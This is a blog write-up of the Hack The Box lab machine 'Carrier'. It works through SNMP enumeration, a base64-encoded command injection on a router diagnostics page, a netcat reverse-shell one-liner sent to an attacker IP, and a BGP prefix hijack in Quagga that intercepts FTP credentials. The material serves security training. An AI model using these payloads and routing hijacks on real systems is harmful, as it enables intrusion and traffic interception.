Hack The Box Write-up - Carrier

25 minute read Published: 18 Mar, 2019

> Write-up for the machine Carrier from Hack The Box. This box is really fun
> since it allows you to try something yourself that you otherwise only hear
> about in the news. BGP hijacking is required to get the root flag. You start by
> checking out the admin interface of an ISP called Lyghtspeed Networks. Fuzzing
> the web server, you find some documentation on error codes which suggest you
> could log in with default admin credentials. However, the password is a serial
> number of the device. Some UDP port scans later you realize there is SNMP
> running and it spits out this number. Once inside the admin interface you read
> some support tickets. One of them is about an important FTP server is a
> specific network attached to a neighboring AS. Also, there is a feature to
> check router status which turns out to be vulnerable to command injection. This
> vulnerability turns into a shell on the router. This was all easy but now the
> fun begins. You must carefully manipulate the route advertisements to direct
> the traffic to this mysterious FTP server over the compromised router. Dumping
> the traffic reveals the FTP password. The root flag is now only one FTP
> download away. All in all a really interesting challenge and a great way to
> learn more about how the Internet actually works.

▶ Table of Contents

Port scans

A fast masscan scan returns only two open ports:

```
 $ masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.105
...
Discovered open port 80/tcp on 10.10.10.105
Discovered open port 22/tcp on 10.10.10.105
```

With nmap we can see we are in front of a Ubuntu Linux box with OpenSSH and Apache web servers running. Version 2.4.18 of Apache suggests the box is likely Ubuntu Xenial (click):

```
 $ nmap -sV -sC -p 22,80 10.10.10.105
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
|   256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_  256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
```

Interestingly, there is also an open UDP port serving SNMP via pysnmp:

```
 $ nmap -sU -sV -sC 10.10.10.105
PORT      STATE         SERVICE VERSION
67/udp    open|filtered dhcps
161/udp   open          snmp    SNMPv1 server; pysnmp SNMPv3 server (public)
| snmp-info:
|   enterprise: pysnmp
|   engineIDFormat: octets
|   engineIDData: 77656201e96908
|   snmpEngineBoots: 2
|_  snmpEngineTime: 2d11h10m27s
18666/udp open|filtered unknown
```

Although masscan worked pretty well for me so far, it did not discover the UDP port on this box. Repeated runs and lower speeds did not change a thing about that. Sometimes it’s worth to shoot an nmap scan even if masscan does not find anything.

Web server
==========

## Scanning

First things first: run some fuzzing on the web server to discover hidden directories. I like wfuzz:

```
 $ wfuzz --hc=404 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-mediu
...
==================================================================
ID       Response    Lines      Word           Chars          Payload
==================================================================

000039:   C=301       9 L        28 W           310 Ch         "img"
000121:   C=301       9 L        28 W           312 Ch         "tools"
000222:   C=301       9 L        28 W           310 Ch         "doc"
000550:   C=301       9 L        28 W           310 Ch         "css"
000953:   C=301       9 L        28 W           309 Ch         "js"
002771:   C=301       9 L        28 W           312 Ch         "fonts"
005711:   C=301       9 L        28 W           312 Ch         "debug"
```

A similar scan can be run to ensure we don’t miss interesting files:

```
 $ wfuzz --hc=404 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-mediu
000045:   C=200      63 L       105 W          1509 Ch         "index - php"
007071:   C=302       0 L         0 W             0 Ch         "tickets - php"
008781:   C=302       0 L         0 W             0 Ch         "dashboard - php"
057168:   C=302       0 L         0 W             0 Ch         "diag - php"
```

## Exploring

With those scans running, we can open a browser and check things out manually. The first thing you see is a login page for a “Lygthspeed” system:

Login Page

What immediately catches attention are the two red error messages displayed above the login form. Keep these error codes in mind since they will be important. For now, we can only try a few simple usernames and passwords but none of them get us past the login.

The scans reveal some interesting directories to check out. Besides expected directories such as “img”, “css” and the like, there is “debug”, “tools” and “doc”. At http://10.10.10.105/debug we find a PHP info page telling us more about the PHP configuration (version 7.0.30). The page http://10.10.10.105/tools/remote.php simply says “License expired, exiting…”. At http://10.10.10.105/doc we see a listing of a few PDF files.

Documents

The file “diagram_for_tac.png” contains an image of a network topology with three autonomous systems and their numbers. Lyghtspeed networks seems to be AS 100 and connected to two other networks, AS 200 and AS 300.

Network Topology

The other document called “error_codes.pdf” contains explanations for different error codes, including those we saw on the login page. The interesting one is 45009, which states that the admin still uses default credentials which are set to a “chassis serial number”. Sounds like a good username to try could be “admin”, but the password still is a mystery as we do not know this number.

PDF document with error codes

SNMP enumeration

Instead of guessing serial numbers look at SNMP. Since my masscan scan did not show SNMP initially, I’ve wasted way too much time on brute-forcing. Don’t make the same mistake.

From the nmap scan we know it is SNMP version 1, so we can use snmapwalk to enumerate like so:

```
 $ snmpwalk -c public 10.10.10.105 -v 1
Created directory: /var/lib/snmp/mib_indexes
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
End of MIB
```

Devices usually return myriads of data points but here we get just one. “SN#” sounds a lot like a serial number and indeed, trying “admin” and “NET_45JDX23” to log in works.

Inside the admin area

After login we can see links to four pages. The dashboard and monitoring pages are not very interesting, but tickets and diagnostics are worth a look.

## Tickets

The first interesting page is located at the “Tickets” tab and displays a list of support tickets Lyghtspeed Networks handled. Most are fun to read but to one of them you should pay closer attention. It seems that a customer had problems reaching and FTP server in the `10.120.15.10/24` network but now things are back to normal. This FTP server will have an important role later on.

Support Tickets

## Diagnostics

The diagnostics page warns about an invalid license and has a single button “Verify Status”. Click it and the output you see is a list of three processes related to a tool called “quagga”, which seems to be running on this machine (or one that it is connected to).

Quagga Diagnostics Page

Quagga is open source routing software. It is a free alternative to proprietary software from large vendors like Cisco or Juniper but presumably not used large scale too much (see this interview). Still it’s good for a lab environment like this so this is probably the routing software used by Lyghtspeed Networks to operate it’s AS.

The output of the monitoring command shows that the tool runs. It looks very similar to the what a terminal would print if you run the ps tool to check it. This screen screams command injection.

Inspecting the request in burp there is a strange POST parameter “check=cXVhZ2dh” sent along with the request. This not only looks like but actually is base64 and decodes to “quagga”.

Burp, default request

Chances are the tool may just concatenate the strings “ps | grep ” and “quagga” and return the result, so let’s try to terminate this command and execute our own. Run `echo ";id" | base64` to encode the string “;id” to “O2lkCg==” and use that one in place of the original value of “check”. The output is as displayed below and proves we executed the id command. It even proves that we are root. Sounds like jackpot.

Burp, command injected

Getting a reverse shell is easy now. Encode a suitable payload:

```
 $ echo ";rm /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc 10.10.14.122 7001
O3JtIC90bXAveDtta2ZpZm8gL3RtcC94O2NhdCAvdG1wL3h8L2Jpbi9zaCAtaSAyPiYxfG5jIDEwLjEwL
```

Now start a listener and use the payload in a new request. You should catch a shell:

```
 $ nc -lnvp 7001
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::7001
Ncat: Listening on 0.0.0.0:7001
Ncat: Connection from 10.10.10.105.
Ncat: Connection from 10.10.10.105:51372.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# find / -name user.txt 2>/dev/null
/root/user.txt
# cat /root/user.txt
<user-flag-here>
# find / -name root.txt 2>/dev/null
#
```

Surprisingly, we find the user flag in root’s home folder. The root flag though is nowhere on this box. Sounds like we will spend more time here, so upgrade the shell to a fully interactive TTY (as explained e.g., here). Note that there is no `python` installed but `python3` can be used.

Shell on the box

### Finding Quagga

An easy thing to notice is that a restore script runs every 10 minutes:

```
root@r1:~# cat /var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.m6zD7R/crontab installed on Mon Jul  2 16:40:23 2018)
...
*/10 * * * * /opt/restore.sh
```

This script stops quagga, restores the configuration, and brings the service back up:

```
root@r1:~# cat /opt/restore.sh
#!/bin/sh
systemctl stop quagga
killall vtysh
cp /etc/quagga/zebra.conf.orig /etc/quagga/zebra.conf
cp /etc/quagga/bgpd.conf.orig /etc/quagga/bgpd.conf
systemctl start quagga
```

So what exactly is the configuration. For example, the BGP configuration file looks like this:

```
root@r1:~# cat /etc/quagga/bgpd.conf.orig
!
! Zebra configuration saved from vty
!   2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
```

```
!
router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.11.2 remote-as 300
 neighbor 10.78.10.2 route-map to-as200 out
 neighbor 10.78.11.2 route-map to-as300 out
!
line vty
!
```

As expected, this configures the BGP daemon such that it acts as an autonomous system AS 100, connected to two neighbors AS 200 and AS 300

## **Exploring Quagga**

Quagga is a combination of multiple programs. It’s main purpose is to run daemons for the different routing protocols it supports and to allow these daemons to maintain the Linux Kernel routing table in accordance with the protocols. Instead of interacting with the Kernel directly, all protocol daemons use “zebra”, Quaggas routing manager, to change routing. See the docs for an overview.

Quagga supports routing protocols like the Routing Information Protocol (RIP) (RIP-docs), Open Shortest Path First (OSPF) (OSPF-docs) and also the Border Gateway Protocol (BGP) (BGP-docs). Zebra as well as each of these routers all have separate configuration files. On this box, we find files only for Zebra and BGP, suggesting that it is used as a BGP router.

Quagga daemons can not only be configured via files but also interactively. For that, they each have a separate Telnet-based interface you can usually only connect to locally. To easy configuration, a tool called `vtysh` can be used to avoid jumping between sessions. See here for a short intro. With a shell on the box, we can just use “vtysh” without being asked for a password:

```
root@r1:~# vtysh

Hello, this is Quagga (version 0.99.24.1).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
```

By printing the neighbors we can verify our assumptions about the topology of the autonomous systems. Indeed we seem to be AS 100 and connected to AS 200 and 300:

```
r1# show bgp neigh
BGP neighbor is 10.78.10.2, remote AS 200, local AS 100, external link
  BGP version 4, remote router ID 10.255.255.2
  BGP state = Established, up for 00:02:40
...
BGP neighbor is 10.78.11.2, remote AS 300, local AS 100, external link
  BGP version 4, remote router ID 10.255.255.3
  BGP state = Established, up for 00:02:38
...
```

Furthermore, printing the routes shows which networks can be reached via each of the neighbors and the corresponding local interfaces:

```
r1# show ip route
Codes: K - kernel route, C - connected, S - static, R - RIP,
       O - OSPF, I - IS-IS, B - BGP, P - PIM, A - Babel,
       > - selected route, * - FIB route

K>* 0.0.0.0/0 via 10.99.64.1, eth0
C>* 10.78.10.0/24 is directly connected, eth1
C>* 10.78.11.0/24 is directly connected, eth2
C>* 10.99.64.0/24 is directly connected, eth0
B>* 10.100.10.0/24 [20/0] via 10.78.10.2, eth1, 00:00:58
B>* 10.100.11.0/24 [20/0] via 10.78.10.2, eth1, 00:00:58
...
B>* 10.120.15.0/24 [20/0] via 10.78.11.2, eth2, 00:01:01
...
C>* 127.0.0.0/8 is directly connected, lo
```

Looks like there is a BGP route to the network 10.120.15.0/24, which is the network in which the mysterious FTP server should be.

## BGP hijacking

The box runs a BGP daemon, we found pictures of the network topology, and the support tickets are about routing configurations. We found a script to restore the configuration every 10 minutes. In order words, this box must be about BGP hijacking. I'll start with some BGP background and move on to how it's done on this box. In the end, we will hijack a route and man-in-the-middle an FTP connection.

### Background on BGP

Routing on the Internet is a little more complex than on your private LAN. Many independent companies run big networks of routers, called autonomous systems (AS). Each one is connected to several others. Routing protocols can be subdivided broadly into Interior Gateway Protocols (IGP), which are used within an AS, and Exterior Gateway Protocols (EGP) used for routing across AS boundaries. For IGP, the goal is usually to find the shortest path from source to destination to optimize resource consumption. OSPF is a popular example. BGP is pretty much the only EGP in use and must allow for more complex routing. An AS is usually in some sort of business relationships with an AS it is connected to and wants to implement routing policies that reflect the nature of this relationship. This is what the Quagga BGP routing daemon allows to configure.

In BGP, each AS is identified by a number. For this box, we have 3 AS with numbers 100, 200 and 300. Each AS seems to have only a single router and we have the one of AS 100 under control. Usually, each AS would have many routers. The current configuration looks like so:

```
r1# sh run
Building configuration...

Current configuration:
!
!
```

```
interface eth0
 ipv6 nd suppress-ra
 no link-detect
!
interface eth1
 ipv6 nd suppress-ra
 no link-detect
!
interface eth2
 ipv6 nd suppress-ra
 no link-detect
!
interface lo
 no link-detect
!
router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.10.2 route-map to-as200 out
 neighbor 10.78.11.2 remote-as 300
 neighbor 10.78.11.2 route-map to-as300 out
!
route-map to-as200 permit 10
!
route-map to-as300 permit 10
```

```
!
ip forwarding
!
line vty
!
```

The way I understand this configuration is as follows. We have 3 network interfaces, each with IPv6 routing advertisements disabled, and one loopback interface. The BGP router section defines us as AS 100, sets an ID for the router and adds two advertisements for the networks `10.101.8.0/21` and `10.101.16.0/21`. `redistribute connected` adds all locally connected subnets to the advertisements. Then, two neighbors at `10.78.10.2` (AS 200) and `10.78.11.2` (AS 300) are defined. For each one a route map is defined that tags all potentially advertised routes. Subsequently, these routes are permitted, meaning they are actually advertised (e.g., with `route-map to-as200 permit 10`). Finally, `ip forwarding` probably indicates that IP forwarding is enabled.

Provided that the connection to the neighboring routers works, they will now exchange route advertisements like those defined above. An advertisement is an IP range (prefix) combined with a list of AS numbers (the path). For instance, the advertisements our router sends to AS 200 are these:

```
r1# show ip bgp neighbors 10.78.10.2 advertised-routes
BGP table version is 0, local router ID is 10.255.255.1
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
              i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete
```

```
   Network          Next Hop            Metric LocPrf Weight Path
*> 10.78.10.0/24    10.78.10.1               0         32768 ?
*> 10.78.11.0/24    10.78.10.1               0         32768 ?
*> 10.99.64.0/24    10.78.10.1               0         32768 ?
*> 10.101.8.0/21    10.78.10.1               0         32768 i
*> 10.101.16.0/21   10.78.10.1               0         32768 i
*> 10.120.10.0/24   10.78.10.1                             0 300 i
*> 10.120.11.0/24   10.78.10.1                             0 300 i
*> 10.120.12.0/24   10.78.10.1                             0 300 i
*> 10.120.13.0/24   10.78.10.1                             0 300 i
*> 10.120.14.0/24   10.78.10.1                             0 300 i
*> 10.120.15.0/24   10.78.10.1                             0 300 i
*> 10.120.16.0/24   10.78.10.1                             0 300 i
*> 10.120.17.0/24   10.78.10.1                             0 300 i
*> 10.120.18.0/24   10.78.10.1                             0 300 i
*> 10.120.19.0/24   10.78.10.1                             0 300 i
*> 10.120.20.0/24   10.78.10.1                             0 300 i

Total number of prefixes 18
```

This list contains the two prefixes `10.101.8.0/21` and `10.101.16.0/21` we saw up in the config. Their path is “i”, which probably is supposed to mean direct connection. Three more prefixes `10.78.10.0/24`, `10.78.11.0/24` and `10.99.64.0/24` also have no number in their path. They are the three connected subnets and the configuration says to advertise these. All the other routes are for prefixes we have nothing to do with. For example, we advertise a route to the interesting prefix `10.120.15.0/24` with “300” in the path. This is because we received an advertisement from AS 300 for this prefix and now advertise this to 200.

AS 200 will receive this advertisement and could use it to route packets via our router. However, it will also receive the advertisement directly from AS 300 (assuming they actually have a connection). Given these two advertisements, it will usually pick the one with the shortest path. In this case, it will discard ours and send packets directly to AS 300 (The actual decision process is a little more involved. See here for a sample path selection process in Cisco routers).

Note that the Quagga BGP daemon will pick routes and then instruct the Zebra daemon to install them into the Linux Kernel. In there, Linux will pick from all routes in the table the one that is most specific (longest prefix match). For example, if a packet with destination `10.120.15.10` must be forwarded and two routes `10.120.15.0/24` and `10.120.15.0/25` exist, Linux picks the latter. This process is not governed by BGP anymore.

This is one way how BGP hijacking can be performed. If an AS advertises a route to `10.120.15.0/24` we go and advertise two more specific routes `10.120.15.0/25` and `10.120.15.128/25`. Any BGP router accepting these two routes will then send traffic to us instead of the original AS. Filtering rules may be in place (e.g., for too specific prefixes, as recommended by the French Cybersecurity Agency here) and stop us but let’s just hope for the best and try it.

### Performing the attack

Now the fun part. We assume the client will be in AS 200 and connects to the FTP server in AS 300, subnet `10.120.15.0/24`. As described above, we subdivide it into two more specific prefixes and advertise both of them to AS 200. The effect will be that traffic flows through our router.

Two things must be kept in mind for this to work. First, we must not advertise these routes to AS 300. If it puts them into the routing table they will override the existing route to that subnet. Instead of delivering packets to the server it will send them to us. Second, we must not only prevent us advertising these routes but also keep AS 200 from forwarding them to AS 300 (this would have the same effect as a direct advertisement).

Advertisements for BGP hijacking

The figure above is a sketch of the plan. We advertise 2 specific prefixes to AS 200, which will prefer them over the more general one it gets from AS 300. AS 200 will thus forward packets from the client to us. Since we still get the advertisement from AS 300 we will forward them there, from where they will be delivered to the FTP server. Return packets should usually go their normal route (but we will see it is not the case for this box since the router itself is the client). The configuration for the new advertisements is installed with “vtysh”:

```
r1# configure terminal
r1(config)# ip prefix-list hijack permit 10.120.15.0/25
r1(config)# ip prefix-list hijack permit 10.120.15.128/25
r1(config)# route-map to-as200 permit 10
r1(config-route-map)# match ip address prefix-list hijack
r1(config-route-map)# set community no-export
r1(config-route-map)# route-map to-as200 permit 20
```

```
r1(config-route-map)# route-map to-as300 deny 10
r1(config-route-map)# match ip address prefix-list hijack
r1(config-route-map)# route-map to-as300 permit 20
r1(config-route-map)# router bgp 100
r1(config-router)# network 10.120.15.0/25
r1(config-router)# network 10.120.15.128/25
r1(config-router)# end
```

To better understand this new configuration, print it out again to see it properly ordered and indented:

```
r1# sh run
Building configuration...

Current configuration:
!
!
interface eth0
 ipv6 nd suppress-ra
 no link-detect
!
interface eth1
 ipv6 nd suppress-ra
 no link-detect
!
interface eth2
 ipv6 nd suppress-ra
 no link-detect
!
interface lo
 no link-detect
!
router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 network 10.120.15.0/25
 network 10.120.15.128/25
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.10.2 route-map to-as200 out
 neighbor 10.78.11.2 remote-as 300
 neighbor 10.78.11.2 route-map to-as300 out
!
ip prefix-list hijack seq 5 permit 10.120.15.0/25
ip prefix-list hijack seq 10 permit 10.120.15.128/25
!
route-map to-as200 permit 10
 match ip address prefix-list hijack
 set community no-export
!
route-map to-as200 permit 20
!
route-map to-as300 deny 10
 match ip address prefix-list hijack
```

```
!
route-map to-as300 permit 20
!
ip forwarding
!
line vty
!
end
```

The upper part is the same. The first difference is the additional two networks in the router section. The lower part is crucial to make things work. We define a prefix list called “hijack” with the two specific prefixes inside. These rules are processed top to bottom similar to netfilter rules. “permit” means the prefix belongs to the list. A “deny” would exclude it. More details on that here.

The route map sections behave similarly as well. For “to-as200”, the first section (“10”) applies only if an advertisement matches the prefix list “hijack” and sets the community “no-export”. Communities are a way for one AS to influence how another AS processes an advertisement. Get an overview here. “no-export” instructs AS 200 to not advertise the prefix to any other AS. This is exactly what we want for our two hijack prefixes. All other advertisements do not match the prefix list and are handled by the second section (“20”), which just permits the advertisement unchanged.

For route map “to-as300” we match first on the prefix list and deny in this case. Only advertisements not matching “hijack” are permitted. This effectively filters the advertisements to AS 300.

```
We can verify that with “vtysh”. Check the routes advertised to AS 200 like this:

r1# show ip bgp neighbors 10.78.10.2 advertised-routes
BGP table version is 0, local router ID is 10.255.255.1
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
              i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*> 10.78.10.0/24    10.78.10.1               0         32768 ?
*> 10.78.11.0/24    10.78.10.1               0         32768 ?
*> 10.99.64.0/24    10.78.10.1               0         32768 ?
*> 10.101.8.0/21    10.78.10.1               0         32768 i
*> 10.101.16.0/21   10.78.10.1               0         32768 i
*> 10.120.10.0/24   10.78.10.1                             0 300 i
*> 10.120.11.0/24   10.78.10.1                             0 300 i
*> 10.120.12.0/24   10.78.10.1                             0 300 i
*> 10.120.13.0/24   10.78.10.1                             0 300 i
*> 10.120.14.0/24   10.78.10.1                             0 300 i
*> 10.120.15.0/24   10.78.10.1                             0 300 i
*> 10.120.15.0/25   10.78.10.1               0         32768 i
*> 10.120.15.128/25 10.78.10.1               0         32768 i
*> 10.120.16.0/24   10.78.10.1                             0 300 i
*> 10.120.17.0/24   10.78.10.1                             0 300 i
*> 10.120.18.0/24   10.78.10.1                             0 300 i
*> 10.120.19.0/24   10.78.10.1                             0 300 i
*> 10.120.20.0/24   10.78.10.1                             0 300 i
```

```
Total number of prefixes 18
```

You see that it contains the two prefixes as expected. Compare it with the advertisements to AS 300, which do not contain them:

```
r1# show ip bgp neighbors 10.78.11.2 advertised-routes
BGP table version is 0, local router ID is 10.255.255.1
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
              i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*> 10.78.10.0/24    10.78.11.1               0         32768 ?
*> 10.78.11.0/24    10.78.11.1               0         32768 ?
*> 10.99.64.0/24    10.78.11.1               0         32768 ?
*> 10.100.10.0/24   10.78.11.1                             0 200 i
*> 10.100.11.0/24   10.78.11.1                             0 200 i
*> 10.100.12.0/24   10.78.11.1                             0 200 i
*> 10.100.13.0/24   10.78.11.1                             0 200 i
*> 10.100.14.0/24   10.78.11.1                             0 200 i
*> 10.100.15.0/24   10.78.11.1                             0 200 i
*> 10.100.16.0/24   10.78.11.1                             0 200 i
*> 10.100.17.0/24   10.78.11.1                             0 200 i
*> 10.100.18.0/24   10.78.11.1                             0 200 i
*> 10.100.19.0/24   10.78.11.1                             0 200 i
*> 10.100.20.0/24   10.78.11.1                             0 200 i
*> 10.101.8.0/21    10.78.11.1               0         32768 i
*> 10.101.16.0/21   10.78.11.1               0         32768 i

Total number of prefixes 16
```

Now we are all set and have to wait for the client to connect to the FTP server. I brought a static version of tcpdump onto the box and tuned in (there is one installed but it did not capture anything, no idea why…). Pick any of eth1 or eth2 but not both or you will see the packets twice:

```
root@r1:/dev/shm/.me# ./tcpdump -enni eth1 port 21
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes
13:58:01.240893 00:16:3e:5b:49:a9 > 00:16:3e:8a:f2:4f, ethertype IPv4 (0x0800), le
9200, options [mss 1460,sackOK,TS val 1352793799 ecr 0,nop,wscale 7], length 0
13:58:01.241040 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), le
 238980383, win 28960, options [mss 1460,sackOK,TS val 144101478 ecr 1352793799,no
13:58:01.241063 00:16:3e:5b:49:a9 > 00:16:3e:8a:f2:4f, ethertype IPv4 (0x0800), le
ons [nop,nop,TS val 1352793799 ecr 144101478], length 0
13:58:01.309136 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), le
n 227, options [nop,nop,TS val 144101546 ecr 1352793799], length 20: FTP: 220 (vsI
13:58:01.309173 00:16:3e:5b:49:a9 > 00:16:3e:8a:f2:4f, ethertype IPv4 (0x0800), le
ions [nop,nop,TS val 1352793867 ecr 144101546], length 0
13:58:01.309347 00:16:3e:5b:49:a9 > 00:16:3e:8a:f2:4f, ethertype IPv4 (0x0800), le
in 229, options [nop,nop,TS val 1352793867 ecr 144101546], length 11: FTP: USER ro
13:58:01.309398 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), le
ions [nop,nop,TS val 144101546 ecr 1352793867], length 0
```

```
13:58:01.309584 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), le
13:58:01.309626 00:16:3e:5b:49:a9 > 00:16:3e:8a:f2:4f, ethertype IPv4 (0x0800), le
win 229, options [nop,nop,TS val 1352793867 ecr 144101546], length 22: FTP: PASS B
13:58:01.356261 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), le
13:58:01.465910 00:16:3e:8a:f2:4f > 00:16:3e:5b:49:a9, ethertype IPv4 (0x0800), le
win 227, options [nop,nop,TS val 144101703 ecr 1352793867], length 23: FTP: 230 Lo
```

Look closely and you see the two messages “FTP: USER root” and “FTP: PASS BGPtelc0rout1ng” sent from client “10.78.10.2” to FTP server “10.120.15.10”. If you like it in Wireshark, add `-w capture.pack` to the tcpdump invocation, get the file onto your machine and open in Wireshark.

Captured FTP session

## FTP login

With the password and IP of the FTP server we can connect, enter passive mode and list files:

```
root@r1:/dev/shm/.me# ftp 10.120.15.10
Connected to 10.120.15.10.
220 (vsFTPd 3.0.3)
Name (10.120.15.10:root): root
331 Please specify the password.
Password:
230 Login successful.
```

```
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pass
Passive mode on.
ftp> dir
227 Entering Passive Mode (10,120,15,10,127,147).
150 Here comes the directory listing.
-r--------    1 0        0              33 Jul 01  2018 root.txt
-rw-------    1 0        0              33 Mar 09 21:22 secretdata.txt
226 Directory send OK.
```

There are two of them. The flag and a mysterious other file. Just download both:

```
ftp> get root.txt
local: root.txt remote: root.txt
227 Entering Passive Mode (10,120,15,10,247,238).
150 Opening BINARY mode data connection for root.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (12.4044 kB/s)
ftp> get secretdata.txt
local: secretdata.txt remote: secretdata.txt
227 Entering Passive Mode (10,120,15,10,170,133).
150 Opening BINARY mode data connection for secretdata.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (93.1404 kB/s)
ftp> quit
221 Goodbye
```

The flag is in root.txt and we are done. “secretdata.txt” contains another MD5 hash. Many HTB users found this mysterious file (forum). You must explore a little more how the box was made to see what it is. Check out the bonus section of you like.

Bonus
=====

## SSH to FTP server

The credentials for the FTP server looked a lot like the root credentials for this server. There was also an SSH server running, so try logging in:

```
root@r1:/dev/shm/.me# ssh root@10.120.15.10
root@10.120.15.10's password:
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-24-generic x86_64)
...
Last login: Sat Mar  9 21:42:33 2019 from 10.120.15.1
root@carrier:~# id
uid=0(root) gid=0(root) groups=0(root)
```

We are indeed root on a host called carrier. This one seems to be the real box as LXC is installed and multiple containers “r1”, “r2” and “r3” are running.

Inspecting the containers a bit more, we find that “r2” regularly performs the upload via a cron job. “secretdata.txt” is just the file it uploads:

```
root@carrier:~# cat /var/lib/lxd/storage-pools/default/containers/r2/rootfs/var/s
...
*/1 * * * * ftp -n -p 10.120.15.10 < /root/ftpcommands.txt
root@carrier:~# cat /var/lib/lxd/storage-pools/default/containers/r2/rootfs/root/
open 10.120.15.10
user root BGPtelc0rout1ng
put secretdata.txt
quit
root@carrier:~# cat
/var/lib/lxd/storage-pools/default/containers/r2/rootfs/root/secretdata.txt
56484a766247786c5a43456849513d3d
```

Another interesting thing to look at is the “web” container hosting the vulnerable diagnostics page. Printing it out shows how the insecure handling of user input allows command injection to a remote host it connects to via SSH. This is how we got from the website to the router.

```
root@carrier:/var/lib/lxd/storage-pools/default/containers/web/rootfs/var/www/htm
...
<?php
$check = base64_decode($_POST["check"]);
if ($check) {
    exec("ssh -i /var/www/.ssh/id_rsa root@10.99.64.2 'ps waux | grep " . $check
    foreach($output as $line) {
        echo "<p>" . $line . "</p>";
    }
}
?>
```

References

- As for other write-ups, here is the ippsec video and a 0xdf write-up with amazing explanations. Other write-ups are here (root flag needed) and they usually have a different approach. Instead of using tcpdump to listen to the traffic, they turn the router itself into an FTP server and just grab credentials that way. Also doable :)
- The Quagga docs themselves are not terribly helpful to get started unless you know a lot about networking already. For me, these links here helped me to gain some general understanding.
- A BGP hijacking lab task is here. You cannot access or recreate the lab environment but the task description helps a lot.
- The article BGP Routing Policies in ISP Networks does a great job of explaining the various motives ISPs may have to deviate from shortest path routing and how policies are designed.

Published by Dominic Breuker 18 Mar, 2019 in hackthebox and tagged BGP hijacking, ctf, hackthebox, infosec and write-up using 5138 words.

Related Content

- Hack The Box Write-up - Access – 11 minutes

- Hack The Box Write-up - Active – 12 minutes
- Hack The Box Write-up - Dropzone – 10 minutes
- Hack The Box Write-up - DevOops – 7 minutes
- Hack The Box Write-up - Sunday – 8 minutes
- Hack The Box Write-up - SolidState – 12 minutes
- Hack The Box Write-up - Calamity – 10 minutes